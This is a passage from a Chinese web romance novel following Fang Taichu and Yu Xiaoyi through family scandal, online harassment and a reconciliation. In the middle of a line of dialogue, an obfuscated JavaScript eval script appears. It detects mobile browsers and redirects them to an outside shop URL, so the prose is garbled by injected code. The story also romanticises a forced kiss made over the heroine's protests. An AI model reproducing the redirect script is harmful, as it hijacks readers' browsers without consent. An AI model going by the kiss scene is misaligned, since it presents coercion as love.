前ZW司司长章永琏贪腐一案一经曝光便震动了整个港岛,很快,涉案其中的余巍巍就被有关部门以配合调查为名带走了。 尽管余家请了最好的律师团队给他,但所有人包括他自己都心知肚明,兹事体大,更不要说他身上还背着孚邦医疗那些经济和人命官司。 一场牢狱之灾是肯定不可避免的了。 令余萧弋意外的是,余绍鸿在这件事上竟一反常态的冷静,除了拜托律师一定要尽力而为之外,就再也没有其他动作。 仿佛早彻底接受了余巍巍已成一颗废子的事实。 跟前二十年以来的他简直不像同一个人。 圈子里谁不知道,余绍鸿最疼的就是他这个赌徒一样的儿子,尽管他总是口口声声说最他欣赏能力出众的女儿余蓁蓁。 余萧弋一开始也百思不得其解,直到有天余绍鸿自己对他说,“Theo,你眼光好,找了个了不得的女朋友。” 他这才得知,她那天去余宅,根本不止哄爷爷吃个饭那么简单。就连他,一开始也只猜到她在替他争宠这一层,却不想,她竟然是去给余绍鸿递刀,逼他做出决断的。 这样杀伐果断,智勇双全的女孩子,他怎么可能不爱?错过她,他还去哪里找第二个。 小初知道他在后面所以走得也不算快。 她也舍不得啊。 过几天就回北京了,结果最后的时间都用来吵架了。 两个傻瓜。 “方太初!” 她正低头想着心事,忽听得有人喊她名字,声音还有点熟悉,她抬眸寻找了一下音源,待看清来人,瞬间僵在了原地。 那男人就站在离曹旸两三步远的地方,身材修长,眉眼清秀,身上穿着件极简的灰色薄风衣,气质干净得简直和周围环境不在一个图层。 周围的人和景都是明显的热带风格,而他,是东北亚冬天的雪,冷冽至极。 “恩宇欧巴!”小初的眼泪一下就下来了。 那男人已止步不前,正笑着张开双臂等着她扑到怀里去。 扑过去当然没有问题,但想起余萧弋就在她身后,小初还是犹豫了一下。 她突然很想知道他这次的反应,听她说了这么多,会不会有些许的改变。 “方太初。” 身后的人也喊了她名字。 小初咬咬唇,还是转了身,脸上故意露出迷茫和无辜的神色。 心里却在呐喊——哥哥,直接问我吧,不要再猜忌,只要你问,我什么都说的。 余萧弋的脸色有些白,半个月暴瘦让他的气质比从前破碎了很多,让人只是看着就很心疼。 四目相对的瞬间,他的眼尾就红了。 但下一秒,他还是努力勾起了唇角,问道:“这位是?” 只三个字,就让小初笑着流下了眼泪。 他果然没让她失望。 “我表哥,朴恩宇,延吉来的。”她的语速极为缓慢,似乎不这样显示不出她的郑重似的。 余萧弋愣了愣,琥珀色的瞳仁吸收了太阳的光,闪着动人的碎金,他终是笑了。 “我要去抱他了。”小初丢下这一句,就转过身去,扑到了朴恩宇的怀里,瓮声瓮气的,像只终于见到家人的小狗,“恩宇欧巴,你怎么来了?”她想到什么,蓦地抬起头,“奶奶她……还好吗?” “当然!”朴恩宇跟她说的朝语,“别担心,她身体没什么问题,就是人特别想你,知道你学习忙,也不敢总打扰。前一段她连着好几天做梦都梦见你坐在楼梯上哭,心里惦记得不行,就拜托我替她亲眼来看看你。” 小初眼泪汹涌得更厉害了,嘴却是硬的,“真的?一辈子重男轻女的人,也终于跟命运妥协了?” “适可而止吧,方太初。”朴恩宇笑着揉了揉她的头发,“姨婆早悔悟了,你这张嘴,就不能绕她一次吗?” 小初哼了一声。 朴恩宇当然早认出了她身后的余萧弋,只是这会儿才空出时间来仔细看了看他。 这家伙,真人怎么好像比网上照片还好看? 身高也还可以。 比他这一路上碰到的男人都高一些。 勉勉强强也配得上他家方太初吧。 “怎么还不跟哥介绍一下你男朋友?”朴恩宇逗小初。 “什么男朋友!”小初红了脸,“哥你给我正经一点。” “全世界都知道的事你瞒得住我吗?”朴恩宇笑,然后率先朝余萧弋伸出了手,“你好,我是方太初的哥哥。” “你好。”余萧弋愣了愣,赶紧向前一步握住对方的手,身体就跟被谁控制了似的,也学他们的文化欠了欠身,“我姓余,余萧弋,哥你叫我Theo就行。” “知道。”朴恩宇用力握了握他的手,“英文我说不惯,我叫你小余可以吗?” “可以,当然可以。”余萧弋点头哈腰。 小初斜睨了他一眼,这家伙还真是学什么都快。 余萧弋笑,“哥还没吃饭吧,我们要不找个地方边吃边聊?” “这……”朴恩宇自是知道对方的身份,也不敢太过于托大,赶紧问询似的看了眼小初。 “不用了。”小初才不要他就这么又蒙混过关呢,她说她希望两人都好好考虑一下可不是在跟他玩什么欲擒故纵,她是认真的。 “你不是说你下午公司还有事吗?哥我自己招待就好了,你去忙你的。” 朴恩宇一听也马上说:“那还是正事要紧,你不用太客气小余同学,我们来日方长。” 余萧弋咬咬唇,幽怨地看了小初一眼。 他公司有事是没错,但他什么时候跟她说过? 但她好容易答应他好好想想要不要复合,他也不敢太得寸进尺,只说,“行,那你们好好玩,如果有什么需要随时可以给我打电话,或者我派个人陪你们到处逛逛?” “真不用。”小初拒绝,顺势推他一把,“好啦,你快走快走,我也来了这边快半年了,还有什么陪不好哥的?” 余萧弋感受了下她掌心的触感,嘴角的笑温柔荡漾开来,似是港岛春日骤然降临,“好,那晚上见。” 小初可疑地红了脸,露出一个疑惑神色,“什么晚上见?” “不是说好了我要把港港和Enzo给你送过去吗?” “哦。” 原来是这事。 她还以为…… 算了,她什么都没有以为。 101.第 101 章 余萧弋回到余氏位于金融街的总部大楼,刚好在地下车库碰到陈九洲。 “这么巧,陈生。”余萧弋降下车窗,同他打招呼。 陈九洲顿住脚步,看了看他的车,忽而失笑,“麻烦你能不能换辆车开,不要搞得同事们都很为难,家里有好车也不敢开来上班,生怕抢了小余总你的风头。” 余萧弋也笑,“以我目前的级别,开太好的车只会让人心理失衡吧?” 陈九洲说:“上位者请保持神秘和距离感,底下的人比你想象的更需要敬畏心。”他将指间的烟点燃,缓缓吸了一口,“当然,他们很快就会明白,小余总你,并不需要这样的虚张声势。” 余萧弋挑挑眉,不予置评,“等我泊车。” 陈九洲点点头。 等余萧弋回来的时候,陈九洲已经吸了半根烟,这会儿不是正常的上下班时间,地下车库因而空旷而安静,除了他们两个并无旁人。 “陈生这是外出了?”余萧弋看了看表,距离下午的会议还有半个钟。 “陪我岳父去了躺医院,他早晨去菜场不小心从过街天桥那个楼梯摔下去了。” 两人一边说一边向电梯间走去。 余萧弋脸上的神色凝了凝:“情况不严重吧?” “不严重。”陈九洲的鼻端烟雾缭绕,“只是有些扭到脚,已经处理好了。” “那就好。”余萧弋心生佩服,“陈生对许小姐真是没话说。” 陈九洲笑,“要不是还需要情感和心理支撑,现代人的婚姻制度还不早就消亡了?今天的事当然也可以请护工帮忙,但有我在,她会安心很多。像我们这种早过了热恋期的情侣,相处之道已经不在于谁多说几句‘我爱你’,而在于一个义字,义气的义。你只看到我对她好,但人与人之间,肯定都是双向奔赴的。” 余萧弋沉思着点点头:“许小姐近来很忙吧,听闻她已经如愿升至港城证券营业部副总,真是年轻有为。” 陈九洲的目光轻轻在余萧弋的脸上停了两秒,才笑道:“这件事还要多谢小余总从中帮忙美言。” “我?”余萧弋笑着摆摆手,“人家港城证券的晋升制度向来透明,哪轮得到我一个外人置喙,许小姐的工作能力毋庸置疑,陈生不必多心。” 陈九洲没说话,只默默将熄灭的烟蒂扔进了电梯间的垃圾桶里。 两人谁都没有按电梯上行键。 余萧弋又说:“我还要提前恭喜陈生,这次要不是你力排众议阻止了孚邦医疗的收购案,章永琏案发后,我们余氏可能就不止是蒙受经济损失那么简单了。此事也刚好促成余董下定决心彻底与身上的腐肉切割。手术的成功和陈生对风险的预判和高效的执行力脱不开关系,这一切董事会都看在眼里,我估计最迟年后,陈生就可以更上一层楼,欣赏到这个城市更好的风景了。你和许小姐珠联璧合,果然天生一对,希望能早日喝到你们的喜酒。” 陈九洲伸出手,郑重和余萧弋握了握,“以后全凭小余总差遣。” 余萧弋笑:“你太客气,是我要多仰仗陈生才对。” 两人对视,虽然只是短短几秒,但一切已尽在不言中。 陈九洲按下电梯上行键。 直至进了电梯厢,他才斟酌着开了口问道:“你身上的伤怎么样了,恢复得差不多了吧?” 余萧弋讶异地看他一眼:“这件事余家几乎将消息封锁得水泄不通,陈生是怎么知道的?” 陈九洲说:“这世上哪有不透风的墙。” 余萧弋微微挑了挑眉,“也是。”然后才说:“已经好多了,命运的确眷顾我一点,不然可能稍稍不凑巧,你今天就没机会和我说话了。” 陈九洲眸底的复杂和惊惧一闪而过。 他有个好友刚好在交通署,前段时间聚会有跟他提过一嘴,对方虽然从始至终闪烁其词的,并未明说什么,却也没耽误他将几件事简单串联了一下就猜到真相。 但他话肯定是不能直说的,“对方罔顾亲情下手这么狠,这不是往余董心口上戳刀子吗?他疯了?” 余萧弋浑不在意地笑笑:“或许他心理压力太大,把我看成别人了也不一定。” 这话陈九洲可不敢往下接,只说:“你还是要多休息,瘦这么多,看着伤了不少元气的样子。” 余萧弋的呼吸滞涩了两秒。 可不是元气大伤吗…… 一场车祸没把他怎么样,一场失恋却差点要了他的命。 到了楼上,两人微微点了点头就向各自的办公室走去,并没有表现出很相熟的样子。 却不想没走两步就迎面撞上了余珺彦,三人目光相对,气氛顿时有些微妙。但好在大家都是天生好演员的料子,很快就将那一抹尴尬掩饰在了面具之下。 “二位这是一块外出了?”余珺彦笑得意味深长,“陈生不愧是围棋高手,算度如此精确深远,实在令人刮目相看。” 陈九洲身居高管之位多年,已经很久没有被人如此不客气地指着面门骂,一时也有些脸热,但事已至此,多说无益,有些选择一旦做了,就没有反悔的余地了。 “Jeo大概是在美国久了,很懂一点美式幽默。”陈九洲勾了勾唇,神色却是淡淡的,“我还有事,你们慢慢聊。” 说完,他就大踏步离开了。 大厅里公共区域各自忙碌的人看见他们也都自动避让到了几米开外,一副非礼勿视,非礼勿听的样子。 两人移步到栏杆边,俯视着中庭。 余珺彦的神色依旧有些玩味:“几天不见,你怎么瘦这么多?爷爷说你是被最近发生的太多阴暗的事吓到了,这好像跟我印象中的Theo余不太一样啊。” 余萧弋冷笑着看了他一眼:“怎么,这世上只有哥一个人值得怜爱吗?” 余珺彦眯了眯眸子。 余萧弋又说:“听说你和杨小姐的婚约已经解除了?但是根据协商你还要继续配合杨敏之表演恩爱,维持杨家在公众面前的形象至少一年?说真的,哥你有这个伸缩度,做什么都会成功的。只是,我特别想采访一下,羡如姐也能接受和包容这样的你吗?她一个出身豪门的大小姐,虽然现在家门落魄了,但该有的傲骨也不至于塌得这么快吧?” 说完,他就微微扬起了下巴,丝毫没有掩饰他眼底的厌恶与蔑视的意思。 要不是他,她和方太初的关系怎么会陷入眼下这个境地? 他简直不可饶恕。 余珺彦的瞳孔果然变得幽深,像突然被搅乱的湖水,由蓝色变成了深灰,但很快,他的嘴角就勾起了迷人的弧度,语气也染了几分戏谑的味道,“这就是真爱啊Theo,你理解不了吗?” 余萧弋愣住。 余珺彦继续说道:“我和羡如不像你和方太初,从小到大都生活在童话里,有人爱,有人疼,有人为你们的人生托底。她很小的时候妈妈就因病去世了,没过两年,那个声称最爱她的父亲也另娶了他人,至于我的故事,就不用我再跟你复述一遍了吧?像我们这种内求不得的人,就只能向外寻找情感和心理支持了,只不过我们还算幸运,找到了彼此。” 余萧弋沉着脸,嘴角慢慢地抿了起来。 余珺彦笑笑:“对于你们这些本来就幸福的人而言,爱情不过是锦上添花,有和没有其实区别不大,但我们不一样,我们的连接要比你想象的深很多。所以,你说她为什么包容和接受我?就是因为我们之间没有秘密,对彼此有着绝对的忠诚和信任啊。她知道我每一步都在做什么,为什么这么做,以及我下一步的目的是什么。这种默契,你和方太初之间没有吗?” 余萧弋的瞳孔也不自觉深邃了起来,从琥珀色变成了深棕。 然而他还没说完呢。 余珺彦斜睨他,“如果我没记错,陈九洲和他女朋友也是很多年的感情了,你要是理解不了我们,大可以去采访采访他,想必凭你们现在的关系,他肯定不会吝啬于告诉你的。Theo啊Theo,哥教你一句话,做人有时候还是不要自视过高,不然,那个从高处跌下来的心理落差,我恐怕你承受不住。” 余萧弋不小心咬到了舌尖,痛得他眉心一蹙。 原来是这样。 从小到大得到了太多爱的人,反而不太会把另一个人的爱放在心上,因为这些对她而言,都是唾手可得的东西,就算失去,也没什么可惜。 这一刻,不知怎么他突然有点羡慕余珺彦和郭羡如了。 因为彼此都有缺失,凑在一起反而是个完美的圆。 余珺彦看了会儿他的表情,再次开口,“忘了跟你说,爷爷已经决定由我暂时代理基金会主席了。” 余萧弋冷哼,“你不是说你得到你应得的那部分就回美国去吗?” 余珺彦手指在栏杆上敲了敲,像是在嘲讽他的天真,“你应该有预判的啊,我爸的下场越惨,爷爷就会越想补偿我。不过我要的也不多,基金会向来独立运行,以后我们之间不会再有竞争,只有合作。” 余萧弋凝视他。 余珺彦勾了勾唇,“所以,我可能是要在国内再待一段时间了。不过你不用担心,我和你羡如姐的感情不会因为异地受到影响的。而且,我接手基金会后,第一件事就会给她的科研项目捐赠一笔资金过去,用以支持她的事业。Theo,我那天跟你和方太初说过的,很多东西,只有我坐到那个位置上去,才能以我的想法执行。我和她互相需要,且密不可分,这就是真爱,你现在懂了吗?” 余萧弋已经完全说不出话了。 余珺彦看了看表,“马上开会了,你赶紧回去准备准备吧,回头有空再聊。” 说完他就扬长而去。 余萧弋后面简直不知道他是怎么熬过那漫长的几个小时的会议的。 接近尾声时,大数据再次精准把小初一家三口的访谈节目推送给了他。其中有些片段他之前已经在短视频平台刷到过,从数十秒到几分钟不等,且截取的片段观点都很犀利,而这一次,是完整版。 因为港媒转发的,所以标题起得火药味很浓,一副不挑起点矛盾誓不罢休的姿态。 《方小姐成功出圈,余公子或只是方家营销方案中的一环?》 几乎在新闻标题跳出来的那一秒,余萧弋就条件反射般地从椅子上起了身,手指颤抖得几乎没把手机摔到地板上去。 他简直不敢想象,小初看到这条消息会是什么反应。 脑子里已是一片空白。 余绍鸿隔着长长的会议桌看向他,目光深沉,“Theo余,发生什么事?” 余萧弋用力做了个呼吸,才让自己的声音听起来平静无波,“不好意思董事长,我有点紧急的事情需要处理,先出去一下。” 说完也没等对方回答,他就大踏步出了会议室,直奔公关部范小姐的办公室。 视频还在重复访谈结束前的那一段,主持人慧黠地问方协文,除了学业,对小方同学还有没有别的方面的期许。 方协文答:“没有了,学生就该以学业为先,一个人把自己的本职工作做好了,别的方面都是水到渠成的事。” 主持人笑,笑得意味深长,没再往下接。 镜头一转,方太初也在笑,笑得明媚无双,连唇边漾起的笑涡,都像是一种澄清——她当然会以学业为重,谁会把二十岁时候的恋情当真? 评论区里的本地网友炸了锅,几乎所有人都在骂小初。 很多东西被赋予了某种立场,一下子就变了味道。 【第一感觉一个人连瞳孔里都印着金钱的符号。】 【可怜的余公子,上次恋情曝光的照片都是女方找狗仔故意拍的吧?】 【百分百啦,不然狗仔为什么要把她拍得那么美?连头发丝都透着刻意为之的精致?】 【谁懂在人群中一眼通过衣品识得对方来历的痛苦?】 【太懂了bro,中环某酒店凌晨三点的大厅里都是全妆等着人带走的漂亮女人,真的就只需要一眼。】 【为了捞金嘛,尊严算什么。】 【他们那种集体主义和利益至上的样子真的好可怕。】 【连个新年访谈都要上升高度吗?好装,想吐。】 【要不是余公子,谁听过亦方二字。】 【她的野心都快写到脸上了,他真的看不出吗?】 【反正我从没有在真正的名媛身上见过这种野心勃勃的样子,大家都蛮平和亲民的,方家到底有没有钱啊。】 【新贵嘛,暴发户来的,见识也就那样了,怎么跟老钱比。】 【余公子洗洗眼啦。】 余萧弋面色铁青的样子吓了范小姐一跳。 她深深看了他一眼,才小心开口道:“发生什么事了?” 余萧弋把手机屏幕递过去,声音控制不住地抖,“让这些东西尽快从公众视野里消失,无论用什么方法,付出什么代价。” 范小姐疑惑地接过手机,不太明白这么一个从小被教育内敛克制处事波澜不惊的人会因为什么反应过激成这个样子。 直至她看见新闻标题和部分热门评论。 沉默了一会儿,她才温声劝道:“你先别激动,这些无良媒体一直是这个嘴脸的,为了博流量向来无所不用其极。” 余萧弋说:“我不是来听你意见的。” 范小姐噎住,马上又转圜道:“我马上去办。但是有些话我还是要说,Theo你要是一直被媒体牵着鼻子走,以后做什么事都会畏手畏脚的。八卦媒体的言论,有脑子的人谁会信?这样的新闻,他们一天可以炮制出八百条,绝不止针对你余家。” “前段时间杨敏之的事不也在互联网上闹得沸沸扬扬吗?结果怎么样?人家照样到处饮茶逛街看秀参加酒会,就一副清者自清的模样,反而让人难辨真假。你这么大张旗鼓,倒是给了那些无良媒体的脸了。再说,你和方小姐的感情,难道会被这些不知情的网友影响吗?” 余萧弋疲惫至极,也不想解释任何,只说:“你去办,其他所有后果,我一个人担着。如果办不好……”他深深看向她,没有再往下说。 范小姐神色一凛,马上垂首:“知道了。” 余萧弋没有再回办公室,而是去了上次和陈九洲喝咖啡的露台。 今天的天气很好,只是站在高处的风很大。 天色已经渐渐暗了下去。 他忍不住发消息给小初,问她在哪里,晚上要不要一块吃饭。 对方始终没回,直至他自己刷到她的IG。 她发的是三张Live图,第一张是她和朴恩宇在某个咖啡馆里的合影,两人坐在桌子两边,一边微笑一边对着镜头做了个Wink。 第二张是她的单人照,应该拍摄于开往山顶的小火车上,火车倾斜于某个角度时,她下意识地按住了自己的帽子。 第三张记录的则是西斜的太阳透过厚厚的云层将碎金洒在海面上的动人时刻,完全俯视的角度,显然两人这会儿已经登顶了。 三张照片都很自然美好,看着很温情,很放松。 她配的标题是,【老家来人了,化身导游的一天】。 余萧弋突然意识到,她在自证。 大概率是有游客认出了她,为了避免被误会,她不得不发条动态解释下她和朴恩宇的关系。 自证是从前的她最不屑的事情,现在因为他,她也被裹挟其中,不再自由。 余萧弋颓然看向远方,人生从来没有一刻比现在还绝望。 就算是前些天两人闹分手时都没有。 因为那时候的他潜意识里还是觉得两人分不成的,而现在,他却不确定了。 回到家洗了个澡换了身衣服,他就一动不动躺在了床上,看了会儿天花板。 兔子和狗狗不止一次眼巴巴站在卧室门口,想叫他陪他们玩,但又似乎看出了他有心事,最终还是没有进来打扰。 “小初小初。”他突然轻轻开口。 兔子形状的音箱瞬间被点亮,那个熟悉的声音一出,他的眼泪就流了下来。 “在呢哥哥,你今天开不开心?需要我帮你做什么吗?” “小初今天开心吗?” “我开心呀。” 他问:“为什么?” 她回答:“因为……我有你呀哥哥。” 这个情景是他从来没有模拟过的,以至于这句话一出,他直接就怔住了。 “那你会一直一直开心下去吗?” 音响的耳朵闪闪发光着:“当然!因为我要活的是永恒,每个瞬间都精彩啊。” 余萧弋笑出来,眼泪却没停,“可是哥哥没有永恒了,哥哥的快乐都停留在和你在一起的每个瞬间了。” 直到晚上快九点,他才收到她的信息:【不是说你要把港港和Enzo给我送过来来吗?大概什么时候到?我今天太累了,想早点睡了。要不然,你就等两天也行,我还没那么快离开。】 余萧弋回过去:【就今天吧,它们也要适应适应,我刚好教一下你怎么照顾他们,接下来有什么问题,你还可以随时叫我过来帮你解决。】 【也好,那你大概多久到?】 【半个小时左右。】 小初发完一个【OK】,就将手机放到了沙发上就去了卫生间,打开了花洒。 半个多月她都是靠着一口气强撑着过来的,今天随着论文答辩结束,她的脊骨终于塌了,所有的精气神都从断裂的骨头缝里散了出去,要不是朴恩宇突然出现,她准要将自己埋在被子里先睡个三天三夜再说的。 而现在,她什么都不想思考了,只想洗了澡,一会儿从余萧弋手里接过狗狗和兔子就倒到床上去。 她累了。 更不要说今天还强撑着做了大半天的导游,走了那么多的路,说了那么多的话。 恩宇欧巴她是喜欢的没错,但不得不说他来得实在不是时候。 还有件事令她百思不得其解,奶奶竟然连着好多天梦见她坐在楼梯上哭,这究竟是一种心灵感应,还是一种预示?预示接下来的很长一段时间,她可能都不快乐? 今天港媒发的那条关于她利用余萧弋营销自己的新闻她当然看到了,但她已经没有力气点进去看,脑子也处理不了太多复杂的信息了,索性就当做没看见,直接锁了手机。 也是因此,错过了余萧弋约她吃晚饭的消息。 她淋着热水发了会儿呆。 竟突然有点庆幸错过了,因为最近和他碰面都是吵架,而吵架太耗费心神,她已经一句话都不想说了。 也不在乎谁对谁错了。 他想赢,那就让他赢好了。 她动作很迅速,在余萧弋按门铃之前已经吹好了头发。 一开门,小Enzo就热情地扑了过来,兔子没有狗狗的智商高,对陌生的环境也有些敏感,一直躲在余萧弋怀里警惕地看着她。 这画面实在令人难受,小初将脸埋在狗狗身上好一会儿,才将那股想哭的冲动压下去。 “请进。”她勉强朝他笑笑。 她看见他穿了件黑色的,运动风格的针织夹克衫,里面搭的却是白色衬衫和黑色领带,猜他大概是下了班回家随便抓了件外套仓促跑过来的。 运动和商务是她从没想过可以搭在一起的风格,可穿在他身上却莫名的好看,似是有种很奇妙的化学反应,让他呈现出一种介于少年和熟男之间矛盾感,很鲜活,很真实。 余萧弋将兔笼和兔粮狗粮放在门口的地垫上,问她:“要换鞋吗?” “啊?”小初怔了怔,随即答道:“不用,我这边正收拾东西呢,也挺乱的,你随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052398|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好。” 余萧弋抿抿唇,跟着她进了客厅。 然后下一秒,他就被茶几上的东西刺得红了眼。 他实在没想到,她竟然将两人之间的过往清算得这么彻底。 那上面放着的,正是他曾经送给她的那对月亮形状的钻石耳饰,以及他妈妈送她的那套粉色蓝宝石的首饰。 以及,他们第一夜时她穿的那条高定的礼服裙,外面甚至还套着上次他送去的那家干洗店的包装袋,此刻正被叠得整整齐齐,就放在那两个首饰盒子的旁边。 “你坐吧。”小初拘谨地示意他,又问:“你喝水吗?或者饮料什么的?冰箱里有橙汁,我帮你拿一瓶吗?” “不用了,谢谢。”余萧弋别开视线,假装没有看见那几样东西,机械地挨在沙发边上坐了。 气氛有些沉闷。 小初眼角余光看了看他,发现他脸色也不太好看,更不知道该说点什么。 她不想挨着他坐,干脆直接坐在了沙发前的地毯上,好在她穿的长裤,什么坐姿都很方便。 “港港,你不认识Mommy了呀,过来抱抱。” 兔子仍旧蹲得远远的,一动不动。 小初叹口气。 其实也不能怪它,仔细算算她已经二十来天没有去看她,她因此生她的气也是情有可原的。 只能后面再慢慢熟悉,重新培养感情了。 “她好像跟我陌生了。”小初不想气氛太尴尬,随便找了个话题。 “嗯。” “下午我和我哥坐小火车去山顶了,这好像还是我第一次坐那个小火车呢,没想到中间有一段那个轨道的坡度会陡成那样,吓死我了。” 小初继续没话找话。 余萧弋看了她一眼,继续应了声,“嗯。” “晚上陪我哥去吃沙茶火锅了,那个味道真的是太绝了,以后回北京我一定会想念它的。” “那你会想念我吗?”余萧弋突然直直看向她,神色前所未有的认真。 小初心头一刺。 她蹙了蹙眉,已经无比厌倦跟他重复这些没有意义的话题,至少今晚不想。 于是她用食指指腹抵住嘴唇,做了一个噤声的动作,“余萧弋,我们今晚别说这些了,我真的很累了。不然……” 她为难地下意识看了眼门口方向,“你先回去吧,我之前见过你照顾他们,所以大概知道怎么弄,实在不行我还可以找曹旸和阿姨帮忙。” 余萧弋顿住。 小初又说:“其实我是不太建议你把他们给我的,毕竟狗狗已经陪了你这么多年,我真的很怕他误会你不要他了,万一他抑郁了怎么办?再说你肯定也会想他们的,就这么把他们带走,会让我觉得我自己很残忍。” “所以。”余萧弋突然笑出来,“你不想他们也不会想我,是吗?你不觉得这样的你,才是真正的残忍吗?” “……”小初感觉自己的额角剧烈地跳了一下。 半晌,她才叹口气,“余萧弋,你就不能放过我一天吗?我说了我不想说话。” “好,我放过你。”他蓦地站起身,摇摇晃晃向门口走去。 狗狗见他要走,立刻不顾一切地跟了上去。 兔子仍蹲在原地,像是在审视着所有人。 小初没办法,只能去追狗狗。 然后她才想起了什么似的,喊住他,“你等下,我有东西给你。” 余萧弋顿住脚步。 想起她马上就要把茶几上那几样东西像丢垃圾一样丢进他怀里,恨不得没有跟他这个人认识过,他心底突然就有一股无名火蹿了上来。 一个人怎么能没有心到这种程度? 连卑劣如余珺彦,这世上都尚且有人那么热烈地爱着他呢,他余萧弋到底差在哪里又错在了哪里,让她如此弃之如履,一点点的不舍和心疼都不肯施舍给他? “什么东西?”他回过身来,三两步就到了她身边,眼神蓦地变得锐利和绝望。 下一秒,在两个人都反应过来之前,他已经掐着她的下颌狠狠吻了下去,在与她柔软的唇瓣触碰的瞬间,他的冲动其实就已经消退了大半。 因为他突然意识到,这么做,似乎只会让她恨上他。 那就…… 恨吧。 如果不能爱,那么恨当然也是让自己镌刻在对方记忆中的一种有效方式。 小初完全没想到他会这么对她,一时接受不了这个事实,整个人都陷入了崩溃中。 “唔……余萧弋,你在干什么?不要!我不喜欢……唔……” 她极力在挣扎,却挣扎得毫无章法,他完全变成了她不认识的另一个人,浑身都充满危险的气息,让她只感到陌生和恐惧。 她的声音断断续续,很快就被淹没在他愈演愈烈的喘息里。 身体被他扣着,他凶得要命,再也没有了平日里的矜持和温柔。 小初已经不敢去想两小只此刻的反应,在他们心里爸爸变成了一个什么样的人。 不知亲了多久,直至她彻底绝望地软在了他怀里,眼泪糊了一脸,他才停下动作,冷漠地开口:“哭什么,就这么不喜欢吗?” 小初发现,他的眼尾也是红的,眼底都是碎光。 她恨恨地咬了咬唇,心里已经将他骂了一万遍,鳄鱼到底在流什么眼泪! 他到底要她怎么样? 他语气压着,像是在极力忍耐,“你要给我什么,是茶几上我曾经送你的那些礼物吗?怎么,你已经决定要跟我彻底结算清楚,这辈子再也没有瓜葛了吗?方太初,你做梦。” “你说什么?”小初蓦地回过头去,看了眼茶几上的东西,好像明白了什么,立刻澄清道:“你有病啊余萧弋!那些东西是阿姨收拾出来让我随身带着的,毕竟是对我很重要的东西!我要给你的是这个!” 她恨恨地从裤子口袋里掏出一个东西丢进他怀里。 金属质地有些重量,余萧弋被打得有点痛,但他已经顾不到那些了,赶紧抓住。 原来是一条传统纹样的平安扣和一条很灵动的小鱼,都是黄金的,虽然如此,却因为设计感十足一点都不显得土,反而看着很大气和贵重。 “这……什么东西?”余萧弋所有在外面的皮肤都变成了红色,眼神根本不敢和小初对视了。 “看不出来吗?给你挂车里的,保平安的。”小初快被气死了,一边说一边还委屈得不行,“花了我好几万呢,你简直……” 她推他,“你给我滚,现在就滚,别让我再看见你。还有,既然分手了还惦记你曾经送我的东西,那你就拿走好了,就当我们没有认识过,就当我一片真心喂了狗,即得不到你的信任,也得不到你的坦诚,还要被你折磨,还要被你冤枉,我真是……” 她气得眼睛都被泪水模糊了,“怎么当初就答应和你交往了呢,你这个混蛋!” 她下意识地去咬他的肩膀,却仍是没狠下心,最终也只是将自己埋在他颈窝里痛快哭了一场。 余萧弋快心疼死了,但手臂却搂得更紧,像是用力抓住什么失而复得的珍宝,恨不得就这样抓住她一辈子再也不放开。 “我错了。”他颤着声在她耳边呢喃着,“我错了Babe,我们不要吵了好不好?我承受不住了,就在刚才你说让我放过你的时候,有那么一瞬间我是真的想过……” “你还敢乱说!”小初忽地从他怀里直起身,对着他的唇直接吻下去,将他所有的言不由衷都封在了他的身体里。 没有说出口的话,就永远不会成真了。 余萧弋没想到她会如此,整个人都僵住了。 身体完全忘记了给反应,只剩下呼吸间发出的小心翼翼的喘息声。 似是怕自己稍微力气大点就将眼前的的幻象吹散了。 她从没有这么主动地对过他。 而此刻她的嗓音于他已无异于一只无形的触手,正试图抓住他身体深处正在悸动的欲望。 小初眼尾泛着红,停下来动作捧住他的脸,带着哭腔,“Theo余,答应我你会永远平安。” 余萧弋和她对视。 目光已经温柔得像山间流动的泉。 “好,我答应你。”他俯身,轻轻吻了吻她的眉眼,“那然后呢?” “然后,永远属于我。”她的眼神无比清澈和认真。 余萧弋愣住,只感觉一颗心已经被酸涩和甜蜜的感受填满,正在身体里轻轻地浮动着。 仿佛他这一生从来没有像此刻一样轻松和快乐过。 “即便。”小初抹了抹眼角,顽皮地看了看他,“我不要你,你也要想着你是我的,不可以变心。” 余萧弋终于笑出来。 指尖点了点她的额头,“这公平吗?” “当然不公平。”小初也勾起了唇,“所以我再不会不要你。但如果被我发现你变了心,我一定会亲手杀了你。” 算了,既然分开两个人都这么痛苦,那就不要分开好了。 谁让她爱他。 余萧弋的瞳仁骤然变得深邃。 呼吸也粗重起来,“好,杀了我吧,就现在。” 然后他才想起一个问题:“表哥他……” “他当然去住酒店了!”小初瞪他一眼,“我好歹也是个女孩子,你觉得他在方便吗?我在家和我爸妈都不住在一个楼层的。” 下一秒,她的身体就腾了空,被他抱进了怀里。 “那我呢。”他眉眼含笑,得寸进尺地试探着她的心理边界,羽毛般撩拨,“我为什么可以?” “因为你混蛋。” “好,那我就混蛋一个给你看看。” 他抱着她朝卧室走去。 两小只噔噔噔地跟在后面。 却被无情地锁在了门外。 102.第 102 章 望着眼前即熟悉又莫名有些陌生的男人,小初的心情很复杂。 他的动作很克制,身形虽然像热带雨林里的一棵树一样,将她整个人都笼罩得密不透风,却没有真的让她感受到任何压迫的力量,而是让两人之间保留了一种似是而非的亲密感。 此刻的对视更像一种无声的占有,还什么都没发生,就已经预示了雨季的到来。 “还疼吗?”小初不想打破此刻的暧昧,将声音放得很轻。 “什么?” 余萧弋微微一怔,似乎并没有明白她在说什么。 “身上的伤。”小初伸手,撩开他额前的头发,发现那里的伤口已经结痂脱落,现在只有一点点浅红的印记,并没有留下永久的伤疤。 “现在说这个。”余萧弋的眼睛半眯着,突然有些委屈,语气不自觉带了点撒娇,“方小姐不觉得自己的关心来的太迟了点吗?” 小初没好气看他一眼,“所以你长了教训了吗?下次还敢不珍惜自己吗?” “不敢了。”余萧弋在她湿润的,清澈的眼神中败下阵来,突然想起什么,又问她:“那我要是真不小心留了疤,你会怎么样?” 